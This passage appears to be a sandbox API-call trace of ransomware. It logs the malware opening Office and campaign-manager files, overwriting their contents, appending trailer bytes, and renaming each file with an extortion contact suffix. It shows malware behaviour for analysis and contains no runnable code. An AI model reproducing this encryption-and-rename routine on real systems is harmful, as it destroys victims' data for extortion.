lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x61086b02, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5400 [0207.303] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0207.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0207.303] GetProcessHeap () returned 0x630000 [0207.303] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x70f31e0 [0207.304] GetProcessHeap () returned 0x630000 [0207.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x70ef958 [0207.304] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.304] ReadFile (in: hFile=0x714, lpBuffer=0x70f31e0, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f31e0*, lpNumberOfBytesRead=0x343ff0c*=0x600, lpOverlapped=0x0) returned 1 [0207.534] GetProcessHeap () returned 0x630000 [0207.534] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0207.534] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.534] WriteFile (in: hFile=0x714, lpBuffer=0x70ef958*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ef958*, lpNumberOfBytesWritten=0x343ff0c*=0x600, lpOverlapped=0x0) returned 1 [0207.628] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.628] WriteFile (in: hFile=0x714, lpBuffer=0x70eff57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70eff57*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.628] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.628] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.628] CloseHandle (hObject=0x714) returned 1 [0207.628] GetProcessHeap () returned 0x630000 [0207.628] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ef958 | out: hHeap=0x630000) returned 1 [0207.628] GetProcessHeap () returned 0x630000 [0207.628] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f31e0 | out: hHeap=0x630000) returned 1 [0207.628] GetProcessHeap () returned 0x630000 [0207.628] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0207.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41b40727, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x343fd20, dwReserved1=0x70f31e0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5480 [0207.629] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0207.629] Sleep (dwMilliseconds=0x1) [0209.671] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF", len=0x6d | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF") returned 1 [0209.671] GetProcessHeap () returned 0x630000 [0209.671] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e28) returned 0x6fe4288 [0209.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0214.400] CloseHandle (hObject=0x704) returned 1 [0214.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.792] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5440 [0220.792] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0220.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0220.792] GetProcessHeap () returned 0x630000 [0220.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a1) returned 0x74696b0 [0220.792] GetProcessHeap () returned 0x630000 [0220.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a1) returned 0x745d3a8 [0220.793] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.793] ReadFile (in: hFile=0x704, lpBuffer=0x74696b0, nNumberOfBytesToRead=0x680, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74696b0*, lpNumberOfBytesRead=0x343ff0c*=0x680, lpOverlapped=0x0) returned 1 [0220.801] GetProcessHeap () returned 0x630000 [0220.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0220.801] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.801] WriteFile (in: hFile=0x704, lpBuffer=0x745d3a8*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745d3a8*, lpNumberOfBytesWritten=0x343ff0c*=0x680, lpOverlapped=0x0) returned 1 [0220.801] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.801] WriteFile (in: hFile=0x704, lpBuffer=0x745da27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745da27*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.801] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.801] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.801] CloseHandle (hObject=0x704) returned 1 [0220.801] GetProcessHeap () returned 0x630000 [0220.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745d3a8 | out: hHeap=0x630000) returned 1 [0220.801] GetProcessHeap () returned 0x630000 [0220.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74696b0 | out: hHeap=0x630000) returned 1 [0220.802] GetProcessHeap () returned 0x630000 [0220.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0220.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x498df28d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6af, dwReserved0=0xc6c7496, dwReserved1=0x74696a8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d52c0 [0220.802] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0220.802] Sleep (dwMilliseconds=0x1) [0220.808] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x343ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml") returned 1 [0220.808] GetProcessHeap () returned 0x630000 [0220.808] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5120) returned 0x6fe3bb0 [0220.808] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0220.809] CloseHandle (hObject=0x6a0) returned 1 [0220.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.809] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0220.810] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.810] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0220.810] GetProcessHeap () returned 0x630000 [0220.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0220.810] GetProcessHeap () returned 0x630000 [0220.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0220.810] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.810] ReadFile (in: hFile=0x6a0, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x343ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.812] GetProcessHeap () returned 0x630000 [0220.812] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0220.812] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.813] WriteFile (in: hFile=0x6a0, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x343ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.813] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.813] WriteFile (in: hFile=0x6a0, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.813] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.813] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.813] CloseHandle (hObject=0x6a0) returned 1 [0220.813] GetProcessHeap () returned 0x630000 [0220.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0220.813] GetProcessHeap () returned 0x630000 [0220.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0220.813] GetProcessHeap () returned 0x630000 [0220.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0220.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4990559b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0xc6c7496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0220.814] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0220.814] Sleep (dwMilliseconds=0x1) [0220.854] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x343ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml") returned 1 [0220.854] GetProcessHeap () returned 0x630000 [0220.854] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x511c) returned 0x6fe3bb0 [0220.854] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0220.855] CloseHandle (hObject=0x6a0) returned 1 [0220.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.855] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5580 [0220.859] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0220.860] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0220.860] GetProcessHeap () returned 0x630000 [0220.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0220.860] GetProcessHeap () returned 0x630000 [0220.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0220.860] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.860] ReadFile (in: hFile=0x42c, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x343ff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.865] GetProcessHeap () returned 0x630000 [0220.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0220.865] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.866] WriteFile (in: hFile=0x42c, lpBuffer=0x6d7040*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesWritten=0x343ff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.866] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.866] WriteFile (in: hFile=0x42c, lpBuffer=0x6d727f*, nNumberOfBytesToWrite=0x20, 